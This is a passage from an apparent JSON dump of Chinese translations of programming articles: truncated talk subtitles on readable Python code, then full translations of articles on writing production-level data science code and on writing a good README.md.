it's not going to do the wrong\n\n24:58:00  code reviewer you have to wonder if they\n\n25:03:00  you're writing code make it plain that\n\n25:09:00  reviewer that yes I know exactly what\n\n25:14:00  false much easier to read no one has to\n\n25:21:00  thing with returning the same types this\n\n25:27:00  about what you meant to do\n\n25:32:00  calc Union none might be okay\n\n25:37:00  false or a set but we have another good\n\n25:43:00  empty list so now we're returning a list\n\n25:50:00  promise to the reader is we have a we\n\n25:54:00  great far less confusing we return the\n\n26:04:00  you can you keep handle failure\n\n26:10:00  found the thing you were looking for or\n\n26:15:00  reader that you you clearly thought\n\n26:21:00  an error so a lot of functions will\n\n26:25:00  looking for or raise an exception and\n\n26:31:00  you go with the exception style go with\n\n26:34:00  none style go with a none style but this\n\n26:38:00  about your failure conditions and\n\n26:46:00  functions are short and easy to write\n\n26:51:00  you you want things to be easy to think\n\n26:58:00  code there's three functions though the\n\n27:04:00  actually the validate so we want to make\n\n27:10:00  owners great here's three functions they\n\n27:17:00  the same code at the end of the day it\n\n27:22:00  the user the reader to in addition is\n\n27:27:00  this order so this config exists and has\n\n27:37:00  surface area so it kind of hints to the\n\n27:42:00  any time\n\n27:45:00  more things this tells the reader that\n\n27:50:00  this order so you don't have to think\n\n27:56:00  these things are true it will always\n\n28:01:00  bit easier to read might not make it\n\n28:07:00  about a wash in the end language\n\n28:14:00  language feature immediately starts\n\n28:18:00  this is great\n\n28:23:00  great talks he takes one language\n\n28:27:00  learn its secrets but the more will the\n\n28:32:00  you actually want to use the thing but\n\n28:37:00  will you will see code about the feature\n\n28:42:00  is your professional responsibility to\n\n28:46:00  judiciously I'm leading with the the\n\n28:53:00  make more sense once you see the before\n\n28:58:00  takes reads of CSV great there's your\n\n29:05:00  it's rolling up rows that have same\n\n29:12:00  and then at the bottom for state zip in\n\n29:19:00  you're pretty printer great this is a\n\n29:26:00  says it's short it's readable this was\n\n29:32:00  review for the code that then ended up\n\n29:39:00  there is nothing wrong with this code\n\n29:45:00  idiomatic use of classes it does things\n\n29:51:00  which usually what you want to do if you\n\n29:56:00  and there is nothing wrong with this\n\n30:00:00  written so this was the the first thing\n\n30:09:00  the thing just underneath it so again\n\n30:16:00  that class which was also idiomatic and\n\n30:23:00  somewhat impressive so it uses the the\n\n30:28:00  of yous the group by functions\n\n30:33:00  sure if I have so it has a very weird\n\n30:38:00  10 cases where you think you want to\n\n30:43:00  also uses the reduced function which it\n\n30:49:00  things that that looks like it will be\n\n30:53:00  peculiar interface anyway so this is\n\n30:59:00  it means to do there's no errors it's\n\n31:07:00  case of someone had just learned a bunch\n\n31:11:00  them all at once but after we had to sit\n\n31:19:00  we did some other discarded refactorings\n\n31:25:00  encounter the interface to counter can\n\n31:30:00  the person had written the original code\n\n31:36:00  were some questions about what some was\n\n31:41:00  shorter but it introduced a couple extra\n\n31:45:00  point was the guy who wrote the code\n\n31:52:00  loop and a default dictionary so good I\n\n31:57:00  happy\n\n32:03:00  linters I'm not a huge fan so the\n\n32:08:00  tell you you have an unused import or\n\n32:14:00  the problem with linters is your\n\n32:23:00  it's pie flakes ships with some\n\n32:27:00  complain about you know not just 81\n\n32:31:00  know warning this line is 13 lines this\n\n32:36:00  to go through and make a config file\n\n32:40:00  and then you fight about them and I mean\n\n32:52:00  linter if two of them are dead something\n\n32:59:00  but it feels like you're agreeing on\n\n33:03:00  making effort and then in a code review\n\n33:07:00  you know the linter is unhappy and then\n\n33:11:00  then everyone feels like they've done\n\n33:16:00  haven't it's just been it's been effort\n\n33:24:00  preferences to to linters and I don't\n\n33:29:00  linters crawl the AST so you can add\n\n33:36:00  so function default you can say x equals\n\n33:43:00  been tripped up on this once or twice\n\n33:47:00  then goes into the function every single\n\n33:51:00  list that list persists and that trips\n\n33:58:00  there are valid use cases however for\n\n34:03:00  is cash then you quite intentionally\n\n34:09:00  method definition but I've seen people\n\n34:14:00  again then you have to fight about is\n\n34:17:00  so linters can be an attractive nuisance\n\n34:26:00  nuisance Python type annotations are\n\n34:35:00  type annotations you write should agree\n\n34:42:00  you can spend time making your\n\n34:46:00  don't get it so and I'm on the outside\n\n34:56:00  problem I have I don't pass the wrong\n\n35:01:00  once very very early on before it\n\n35:07:00  extra effort to read and write things\n\n35:12:00  they're smart people so there must be\n\n35:16:00  just don't get it and so like type\n\n35:23:00  thinking about types is is fun I get\n\n35:28:00  like useful effort I don't get it\n\n35:36:00  unhelpful things I am NOT going to link\n\n35:44:00  because I don't want them to spread so\n\n35:50:00  people's lists of do's and don'ts people\n\n35:56:00  that it was 50 things you should do in\n\n36:02:00  number of 50 and then work backwards to\n\n36:07:00  so you can find anyone who will agree\n\n36:10:00  short short functions people will be\n\n36:14:00  function should be and functions should\n\n36:19:00  this is kind of goes back to like early\n\n36:24:00  compiler to only return once it was\n\n36:29:00  about things because computers were 50\n\n36:33:00  hasn't been true for a long time know if\n\n36:40:00  some popularity and this doesn't mean no\n\n36:44:00  an interest the interesting thing that\n\n36:51:00  so there's all kinds of convolutions you\n\n36:56:00  and and they're not pretty\n\n37:01:00  branch\n\n37:04:00  means literally don't type the word if\n\n37:13:00  function think input transform output\n\n37:20:00  work I mean don't clever up the place\n\n37:26:00  any questions\n\n37:36:00  microphone if you have a question Thanks\n\n37:43:00  function return a tuple say if you input\n\n37:50:00  average whatever what's your take on\n\n37:54:00  order of the return or is it better just\n\n38:00:00  if you're returning a tuple should you\n\n38:05:00  so a function designed to return a list\n\n38:09:00  are going to want the max want the min\n\n38:14:00  average so rather than to write the\n\n38:18:00  the list and all of these cool\n\n38:21:00  but you know your users are going to use\n\n38:26:00  that function gets a little hairy what's\n\n38:32:00  question was if you returning a list of\n\n38:37:00  there are transformations than the\n\n38:40:00  men's list of maxes so I'm going to punt\n\n38:46:00  return whatever the caller expects it to\n\n38:52:00  list of mins and a list of maxes then\n\n38:57:00  recommended the use of the ignore value\n\n39:02:00  reconcile that against people's prefer\n\n39:07:00  keyword arguments can you repeat that in\n\n39:12:00  say function paren blah-blah-blah-blah\n\n39:16:00  going to use that value yes\n\n39:19:00  people's tendency to say when they call\n\n39:23:00  with their keyword names instead of the\n\n39:27:00  anything about calling them with right\n\n39:31:00  Oh was then is the question when should\n\n39:36:00  pass by Q no how do you reconcile the\n\n39:40:00  function that's supposed to be used as a\n\n39:43:00  you don't know what parameter is going\n\n39:46:00  they are going to be\n\n39:49:00  don't give the name that was given in\n\n39:52:00  and it gets called with a keyword value\n\n39:56:00  mismatch and you get an error how do you\n\n40:01:00  question as broadly about what when do\n\n40:05:00  keyword what makes things easier to read\n\n40:11:00  be the only one I think that is\n\n40:15:00  boolean's use the keyword arc because\n\n40:22:00  that says do stuff true false false true\n\n40:32:00  what's kind of your rule of thumb for\n\n40:37:00  because it I think it might sacrifice\n\n40:42:00  signature so passing star star kwargs\n\n40:48:00  does hurt readability there are places\n\n40:55:00  anyone's use the AWS boto api it has\n\n41:01:00  um I don't know where I got it from but\n\n41:07:00  you have to not pass that thing at all\n\n41:12:00  kwargs stuff and adding to the kwargs\n\n41:16:00  kwargs yeah so using kwargs is usually a\n\n41:27:00  you\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-a-production-level-code-in-data-science.md",
    "content": "> - 原文地址：[How to write a production-level code in Data Science?](https://towardsdatascience.com/how-to-write-a-production-level-code-in-data-science-5d87bd75ced)\n> - 原文作者：[Venkatesh Pappakrishnan, Ph.D.](https://towardsdatascience.com/@venkatesh.kumaran?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-production-level-code-in-data-science.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-production-level-code-in-data-science.md)\n> - 译者：[sisibeloved](https://github.com/sisibeloved)\n> - 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie), [yqian1991](https://github.com/yqian1991)\n\n# 如何在数据科学中写出生产级别的代码？\n\n编写生产级别的代码的能力是数据科学家梦寐以求的技能之一 —— 无论职位要求上是否明确的要求。对于由软件工程师转型的数据科学家来说这可能没什么难度，毕竟他们也许已经在生产代码的开发和部署上有着丰富的经验。\n\n这篇文章是针对那些刚开始编写生产级代码并有兴趣学习它的人，比如大学的应届毕业生或从事数据科学（和计划转型）的专业人员。对于他们来说，编写生产级代码看上去是一项艰巨的任务。\n\n我会介绍几个编写生产级别代码的技巧，请多加练习，此外这篇文章不需要用到任何数据科学方面的专业知识。\n\n## **1. 保持模块化**\n\n这对于任何软件工程师来说都是需要掌握的基本技巧。它的核心思想是把庞大的代码块基于其功能分割成一个个小型的独立代码段（函数）。它由两部分组成。\n\n(i) 将代码拆成小块，每一块执行特定的功能（可以包含子功能）。\n\n(ii) 将这些函数基于用途组合成模块（或 Python 文件）。这也有助于保持代码的有序性和可维护性。\n\n首先将庞大的代码块分解成许多简单函数，每一个都包含特定格式的输入和输出。如上所述，每个函数应实现单一职责，如 **清除数据中的离群点、替换谬误值、对模型进行评分、计算标准差（RMSE，又译作均方根差）** 等等。尝试将这些函数继续分解成执行更小单元的子任务的函数，直至无法拆分。\n\n**底层函数** —— 无法再进一步分解的基本函数。比如，计算数据的标准差（RMSE）或标准分数（Z-score）。其中的某些函数可以广泛应用于实现算法或训练机器学习模型。\n\n**中间层函数** —— 使用一个或多个底层函数和/或其他中间层函数来实现功能。举个例子，**清除数据中的离群点** 函数会使用 **计算标准分数** 函数来清除离群点，只保留特定边界内的数据；**误差** 函数会使用 **计算标准差** 函数来获取标准差。\n\n**上层函数** —— 使用一个或多个中间层函数以及底层函数来实现功能。打个比方，模型训练函数使用了随机获取标本数据函数、模型评估函数和矩阵函数等多个函数。\n\n最后，将所有能够复用的底层和中间层函数分到一个 Python 文件中（可以作为模块导入），将所有其它的专用的底层和中间层函数分到另一个 Python 文件中。所有高级函数应该归到同一个单独的 Python 文件中。这个 Python 文件为算法开发中的每一步提供指引 —— 从组合多源数据到机器学习模型的构建。\n\n尽管无须墨守成规，但我还是推荐你按这个流程，一步一个脚印，直至培养出自己的代码风格。\n\n## **2. 日志和监测工具**\n\n日志和监测工具（LI）就像飞机上的黑匣子，负责记录驾驶舱中的一切。LI 的主要目的是记录代码运行时的有效信息，以便开发者在错误发生时调试和提升代码性能（比如减少运行时间）。\n\n那么日志和监测工具有什么区别呢？\n\n(i) **日志记录** —— 只记录可操作的信息，如运行期间的关键故障和诸如代码本身稍后将用到的中间结果之类的结构化数据。在开发和测试阶段可以使用多种日志级别，如 debug、info、warn 和 error。然而，在生产过程中需要不惜一切代价来避免这么做。\n\n**日志记录应尽量简洁，只包含需要引起维护者注意的和需要立即处理的信息。**\n\n(ii) **监测工具** —— 记录所有日志中遗漏的其它信息，这将帮助我们验证代码执行的步骤，并在必要时为改进性能提供帮助。数据越多，监测工具能给的信息就越多。\n\n验证代码执行步骤 —— 我们应该记录诸如任务名称、中间结果、步骤经过等信息，这将有助于我们验证结果，并确认算法是否遵循预期的步骤。无效的结果或奇怪的执行算法可能不会引发足以被日志记录的严重错误。因此，记录这些信息势在必行。\n\n提升性能  ——  我们应该记录每个任务/子任务使用的时间和每个变量占用的内存。这将有助于我们改进代码，进行必要的更改，优化代码以更快地运行，并限制内存消耗（或发现 Python 中常见的内存泄漏）。\n\n**监测工具记录所有留存在日志记录中的其它信息，这将帮助我们验证代码执行的步骤，并在必要时为改进性能提供帮助。对此，数据越多越好。**\n\n## **3. 代码优化**\n\n代码优化包含减少时间复杂度（运行时间）和减少空间复杂度（内存占用）两方面。时间/空间复杂度通常表示成 O(x)，其中 x 是关于时间或空间的多项式，这也被称为 **大 O 表示法**。时间和空间复杂度被用来衡量 **算法效率**。\n\n例如，假设我们有一个大小为 _n_ 的嵌套的 _for_ 循环，每次运行大约需要 2 秒，接着是一个简单的 _for_ 循环，每次运行需要 4 秒。那么，时间消耗方程可以写成\n\n时间消耗 ≈ 2n²+4n = O(n²+n) = O(n²)\n\n当使用大 O 表示法时，我们应该去掉常数项（因为 _n_ 趋向于无穷时它可以忽略不计）以及系数。系数或缩放因子之所以被忽略，是因为我们在优化时能对其造成的影响很小。请注意，在绝对时间消耗的表达式中的系数指的是 _for_ 环数的次数和每次运行所花费的时间的乘积，而 O(n²+n) 中的系数代表了 _for_ 循环的数目（1 个双层 _for_ 循环和 1 个单层 _for_ 循环）。同样地，我们可以去掉方程中的低阶项。因此，上述过程的时间复杂度为 O(n²)。\n\n现在，我们的目标是用时间复杂度较低的方案替换代码的低效部分。例如，O(n) 优于 O(n²)。代码中最常见的时间消耗部分是 _for_ 循环，最不常见但比 _for_ 循环更差的是递归函数（时间复杂度为 O(分支^深度)）。尽量用 Python 的模块或函数替换尽可能多的 _for_ 循环，这些函数通常用 C 而不是 Python ，并进行过深度优化，以实现较短的运行时间。\n\n强烈推荐你阅读 Gayle McDowell 的[《**程序员面试金典**》](https://www.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/0984782850/ref=sr_1_1?ie=UTF8&qid=1517896199&sr=8-1&keywords=cracking+the+coding+interviews)一书中的“大 O 算法”章节。事实上，读完整本书能够提升你的编码技巧。\n\n## **4. 单元测试**\n\n**单元测试** —— 根据功能实现代码测试自动化\n\n在进入生产环境之前，你的代码必须通过多个测试和调试阶段。这通常分为三个层次 —— 开发、预发和生产。在一些公司中，部署到生产环境之前有一个部署到真实生产系统模拟环境的阶段。当代码部署到生产环境时，它应该没有任何明显的问题，并且应该能够处理潜在的异常。\n\n为了能够发现可能出现的各种各样的问题，我们需要对不同的场景、不同的数据集、不同的边界情况等进行测试。当我们对代码做了重大更改时，每次需要手动执行测试代码的效率是很低的。因此选择包含一组测试用例的单元测试，并且只要我们想要测试代码就可以执行它。\n\n我们必须添加具有预期结果的不同测试用例来测试我们的代码。单元测试模块逐个遍历测试用例，并将代码的输出与期望值进行比较。如果未达到预期结果，则测试失败 —— 这预示着如果部署到生产环境中，你的代码可能会报错。我们需要调试代码然后重复该过程，直到所有测试用例都能通过。\n\n人生苦短，因此 Python 有一个名为 **unittest** 的模块来实现单元测试。\n\n## **5. 兼容性**\n\n实际生产中很有可能的是，你的代码并不是独立的函数或模块。它将被集成到公司的代码生态系统中，你的代码必须与生态系统的其他部分同步运行，而不会出现任何缺陷/故障。\n\n例如，假设你已经开发了一种推荐算法。整个流程通常包括从数据库获取最新数据、更新/生成推荐和将其存储在数据库中，该数据库将被前端框架（如网页，通过 API）读取，来向用户显示推荐项目。这很简单！这个过程就像一根链条，新的链接应该与前一个和后一个链接闭合，否则推荐过程就会失败。同样地，每个流程都必须按预期运行。\n\n每个流程都有明确的输入和输出要求、预期的响应时间等等。当其他模块请求更新推荐（来自网页）时，你的代码应该在可接受的时间内以所需格式返回预期值。如果结果是不符合预期的值（在购买电子产品时推荐购买牛奶）、不希望的格式（推荐以文本而不是图片的格式展示）或是不可接受的时间（时至今日，没有人愿意等待几分钟来获得推荐）—— 这暗示代码与系统不同步。\n\n要避免这种情况，最佳的方法是在开始开发之前与相关团队讨论需求。如果行不通，请查看代码文档（很可能会在那里找到大量信息），或在必要时自己编写代码文档来理解需求。\n\n## **6. 版本控制**\n\nGit —— 一个堪称近年来源代码管理中的最佳发明之一的版本控制系统，它会跟踪计算机上代码的更改。跟许多现存的版本控制/跟踪系统相比，Git 是使用最为广泛的。\n\n这个过程简单地说就是“修改和提交”。我可能讲得过于轻描淡写了。这个过程有很多步骤，比如为开发创建分支、在本地提交更改、从远程拉取文件、将文件推送到远程分支，以及更多功能留待你深入探索。\n\n每次我们对代码进行更改，我们不需要用不同的名称保存文件，而是提交更改 —— 这意味着用新的更改覆写旧文件，并为这次提交赋予一个提交 ID。每当我们对代码进行更改时，我们通常会添加提交注释。假如，你不喜欢上次提交中所做的更改，并希望恢复到以前的版本，通过提交 ID 可以轻松做到。Git 对于代码开发和维护来说非常有用。\n\n你可能已经理解了版本控制对于生产系统的重要性，以及学习 Git 的必要性。为了预防新版本出现意外错误的情况，我们需要随时能够回到稳定的旧版本。\n\n## **7. 可读性**\n\n你编写的代码同样也应该易于他人理解，至少对于你的团队成员而言。此外，如果不遵循正确的命名约定，即使你自己在编写代码的几个月后理解自己的代码也是很有难度的。\n\n### **(i) 合适的变量名和函数名**\n\n变量和函数名称应该是自解释的。当有人阅读你的代码时，应该很容易理解每个变量包含的内容以及每个函数的作用，至少在某种程度上如此。\n\n给函数或变量赋一个长名称是完全可以接受的，这个名称要能够明确说明其功能/角色，而不像 x、y、z 等短无意义的名称。并且变量名称尽量不要超过 30 个字符，函数名称尽量不要超过 50-60 个字符。\n\n以前，基于 IBM 标准的代码宽度为 80 个字符，这已经完全过时了。现在，根据 GitHub 标准大约是 120 个字符。取页面宽度的 1/4，我们得到 30 这个足够长但是又不会填满页面的变量名称长度。函数名称可以稍长一些，但同样不应该填充整个页面。因此，取页面宽度的 1/2，我们得到 60。\n\n例如，样本数据中亚洲男性平均年龄的变量可以写成 _mean_age_men_Asia_ 而不是 _age_ 或 _x_ 。类似的规则也适用于函数名称。\n\n### **(ii) 文档字符串和注释**\n\n除了合适的变量和函数名称之外，必须在必要时提供注释，以帮助读者理解代码。\n\n**文档字符串**  ——  适用于函数/类/模块。函数定义中的前几行文字描述了函数的作用及其输入和输出。这段文字需要用 3 个双引号包裹起来。\n\n```python\ndef <function_name>:\n\n\"\"\"<docstring>\"\"\"\n\nreturn <output>\n```\n\n**注释** —— 可以放在代码中的任何位置，以告知读者特定行或代码段的作用。如果我们给变量和函数赋予合适的名称，注释的需求将大大减少 —— 大部分代码都能自我解释。\n\n## **代码审查：**\n\n虽然这不是编写符合生产质量的代码的直接步骤，但是同行的代码审查将有助于提高您的编码技巧。\n\n没有人能写出完美的代码，除非那人有超过 10 年的经验。代码总有改进的余地。我见过有多年经验的专业人士写出了糟糕的代码，也见过正在攻读学士学位的菜鸟拥有出色的编码技巧 —— 你总能找到比你更优秀的人。这一切都取决于投入多少时间学习和练习，最重要的是熟能生巧。\n\n我知道比你更优秀的人总是存在但你的团队中不一定有。也许你是团队中最厉害的。在这种情况下，让团队中的其他人测试你的代码并提供反馈依然可行。尽管他们并不像你那么出色，但他们能发现一些被你忽略的东西。\n\n当你处于职业生涯的早期阶段时，代码审查尤为重要。它会大大提高你的编码技巧。遵循以下步骤，来成功检查你的代码。\n\n(i) 完成所有开发、测试和调试的代码编写。确保不要犯任何低级的错误。然后请你的伙伴帮忙进行代码审查。\n\n(ii) 把你的代码链接转发给他们。一个接一个发给他们，而不要让他们一次性审阅多个脚本。他们为第一个脚本提供的意见也可能适用于其他脚本。在发送第二个脚本以供审阅之前，请确保在其他脚本上应用这些更改（如果适用）。\n\n(iii) 给他们一两个星期来阅读和测试每次迭代的代码。同时还需提供测试代码所需的所有信息，如样本输入、限制条件等。\n\n(iv) 与他们每个人面谈并听取他们的建议。请记住，你不必在代码中采纳所有建议，自行选择你认为可以改进你的代码的建议。\n\n(v) 一直重复，直到你和你的团队满意为止。尝试在前几次迭代中修复或改进您的代码（最多 3-4 次），否则可能会留下编码能力不足的坏印象。\n\n希望这篇文章能对你有所帮助。\n\n期待您的反馈。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-beautiful-and-meaningful-readme-md-for-your-next-project.md",
    "content": "> * 原文地址：[How to Write Beautiful and Meaningful README.md](https://blog.bitsrc.io/how-to-write-beautiful-and-meaningful-readme-md-for-your-next-project-897045e3f991)\n> * 原文作者：[Divyansh Tripathi [SilentLad]](https://medium.com/@silentlad)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-beautiful-and-meaningful-readme-md-for-your-next-project.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-beautiful-and-meaningful-readme-md-for-your-next-project.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Vito](https://github.com/vitoxli), [Hsu Zilin](https://github.com/Starry316)\n\n# 如何写出优雅且有意义的 README.md\n\n#### 写出一个超棒的 Readme 文件的小技巧（以及为什么 README 很重要）\n\n作为开发人员，我们对代码以及项目中的所有细节都信手拈来。然而我们中的一些人（包括我在内）就连在网络社区中的软技能都缺乏。\n\n> **一个开发人员会花一个小时来调整一个按钮的 padding 和 margin。却不会抽出 15 分钟的来完善项目的 Readme 文件。**\n\n> 我希望你们大多数人已经知道 README 文件是什么，它是用来做什么的。但是对于萌新来说，我还是会尽可能地来解释它到底是什么。\n\n#### 什么是 Readme.md？\n\nREADME（顾名思义：“read me“）是启动新项目时应该阅读的第一个文件。它既包含了一系列关于项目的有用信息又是一个项目的手册。它是别人在 Github 或任何 Git 托管网站点，打开你仓库时看到的第一个文件。\n\n![](https://cdn-images-1.medium.com/max/2000/1*DZa8j46R3Rw0nNYRLewSqg.png)\n\n你可以清楚地看到，**Readme.md** 文件位于仓库的根目录中，在 Github 上的项目目录下它会自动显示。\n\n`.md` 这个文件后缀名来自于单词：**markdown**。它是一种用于文本格式化的标记语言。就像 HTML 一样，可以优雅地展示我们的文档。\n\n下面是一个 markdown 文件的例子，以及它在 Github 上会如何渲染。这里，我使用 VSCode 预览，它可以同时显示 markdown 文件渲染后的预览。\n\n![](https://cdn-images-1.medium.com/max/2144/1*WAn_bJ_mLxOMCzBAKtu4ZQ.png)\n\n如果你想要深入了解这门语言，这里有一个官方的 **[Github Markdown 备忘录](https://guides.github.com/pdfs/markdown-cheatsheet-online.pdf)**。\n\n## 为什么要在 Readme 上花时间？\n\n现在我们谈正事吧。你花了几个小时在一个项目上，你在 GitHub 上发布了它，并且你希望游客、招聘人员、同事、（或者前任？）看到这个项目。你真的认为他们会进入 `root/src/app/main.js` 来查看你的代码的逻辑吗？真的会吗？\n\n现在你已经意识到这个问题了，让我们看看如何解决这个问题。\n\n## 为你的组件生成文档\n\n除了项目的 Readme 之外，记录组件对于构建易于理解的代码库也很重要。这使得重用组件和维护代码变得更加容易。比如，使用像[**Bit**](https://bit.dev) ([Github](https://github.com/teambit/bit)) 这样的工具，来为在 [bit.dev](https://bit.dev) 上共享的组件自动生成文档。（译者注：这里是作者在打广告）\n\n![例子：在 Bit.dev 上共享的组件中查找](https://cdn-images-1.medium.com/max/2000/1*Nj2EzGOskF51B5AKuR-szw.gif)\n[**团队共享可重用的代码组件 · Bit**](https://bit.dev)\n\n## 描述你的项目！（技巧说白了就是）\n\n为你的项目写一个好的描述。仅出于建议，您可以将描述的格式设置为以下主题：\n\n* 标题（如果可以的话，提供标题图像。如果你不是平面设计师，请在 canva.com 上进行编辑）；\n* 描述（用文字和图片来描述）；\n* Demo（图片、视频链接、在线演示 Demo 链接)；\n* 技术栈；\n* 你项目中需要注意的几个陷阱（你遇到的坑、项目中的独特元素）；\n* 项目的技术说明，如：安装、启动、如何贡献；\n\n## 让我们深入探讨技术细节\n\n我将使用我的这个项目作为参考，我认为它是我写过甚至遇到过的最漂亮的 Readme 文件之一。你可以在这里查看它的 Readme.md 文件的代码: [**silent-lad/VueSolitaire**](https://github.com/silent-lad/VueSolitaire)\n\n使用铅笔图标来显示 markdown 代码：\n\n![](https://cdn-images-1.medium.com/max/2000/1*fmypQUo2pAjk9GOCO1lPnQ.png)\n\n## 1. 添加图片！拜托!\n\n你可能对你的项目记忆犹新，但是你的读者可能需要一些项目演示的实际图片。\n\n例如，我制作了一个纸牌项目，并在 Readme 文件中添加了图像作为描述。\n\n![](https://cdn-images-1.medium.com/max/2000/1*29b3hWXq4PTI1Yg2J97RyA.png)\n\n现在你可能想要添加一个视频描述您的项目。就像我项目里那样。但是，Github 不允许在 Readme 文件中添加视频。那…该怎么办呢？\n\n#### …我们可以使用 GIF\n\n![哈哈！搞定你了 Github。](https://cdn-images-1.medium.com/max/2000/1*iP4iC4WnyEJHE9SQ7oROWQ.gif)\n\nGIF 也是一种图片，Github 支持我们将它放在 Readme 文件中。\n\n## 2. 荣誉勋章\n\nReadme 文件上的徽章会使游客有一定的真实感。您可以从下面的网址，为您的仓库设置自定义或者常规使用的盾牌（徽章）：[**https://shields.io**](https://shields.io/) \n\n![](https://cdn-images-1.medium.com/max/2000/1*iGaDiLE_BwCbSROvPT8XKg.png)\n\n你还可以设置个性化的盾牌，如仓库的星星数量和代码百分比指标。\n\n## 3. 增加一个在线演示 Demo\n\n如果可以的话，请托管你的项目，并开启一个正在运行的演示 demo。之后，**将这个演示链接到 Readme 文件**。你也不知道可能会有多少人来“把玩”你的项目。另外，招聘人员只喜欢可以在线演示的项目。**它表明你的项目不仅仅是放在 Github 上的代码，而是确实跑起来业务。**\n\n![](https://cdn-images-1.medium.com/max/2000/1*LSR8M5mctiQsFsPzsH9ujQ.png)\n\n您可以在 Readme 中使用超链接。比如在标题图片下面提供一个在线演示链接。\n\n## 4. 使用代码样式\n\nMarkdown 提供了将文本渲染为代码样式的选项。因此，不要以纯文本形式编写代码，应该使用 \\`（反单引号）将代码包裹在代码样式中，例如 `var a = 1;`。\n\nGithub还提供了**指定代码编写语言**的选项，这样它就可以使用特定的文本高亮来提高代码的可读性。你只需要这样使用：\n\n**\\`\\`\\`{代码语言}\\<space>{代码块}\\`\\`\\`**\n\n{ \\`\\`\\` } —— 三个反单引号用于多行代码，同时它还允许你指定代码块的语言。\n\n**使用代码高亮：**\n\n![](https://cdn-images-1.medium.com/max/2000/1*lTbiCaBk1Y4TWG4bI1-D7A.png)\n\n**不使用代码高亮：**\n\n![](https://cdn-images-1.medium.com/max/2000/1*_w3yaD4Lhcwqxa2AU4TSrA.png)\n\n## 5. 使用 HTML\n\n是的，你可以在 Readme 里使用 HTML。尽管并不是 HTML 里所有的功能都可以使用，但大部分可以。虽然你最好是只包含 markdown 的语法，但一些功能，如居中图像和居中文本是只能用 HTML 实现的。\n\n![](https://cdn-images-1.medium.com/max/2726/1*pq9WpGpyChqxmTLMz34l5A.png)\n\n## 6. 有创造性\n\n剩下的就交给你了，每个项目都需要不同的 Readme.md 文件和不同类型的描述。但是请记住，你在 Readme 文件上花费的 15 —— 20 分钟可能会对你 Github 的访问者数量产生**巨大**的影响。\n\n仅供参考，这里有一些带 Readme 的项目：\n\n- [**silent-lad/VueSolitaire**](https://github.com/silent-lad/VueSolitaire)\n- [**silent-lad/Vue2BaremetricsCalendar**](https://github.com/silent-lad/Vue2BaremetricsCalendar)\n\n## 了解更多\n\n- [**如何在项目和应用之间共享 React UI 组件**](https://blog.bitsrc.io/how-to-easily-share-react-components-between-projects-3dd42149c09)\n- [**2020 年的 13 个顶级 React 组件库**](https://blog.bitsrc.io/13-top-react-component-libraries-for-2020-488cc810ca49)\n- [**2020 年的 11 个顶级 React 开发人员工具**](https://blog.bitsrc.io/11-top-react-developer-tools-for-2020-3860f734030b)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
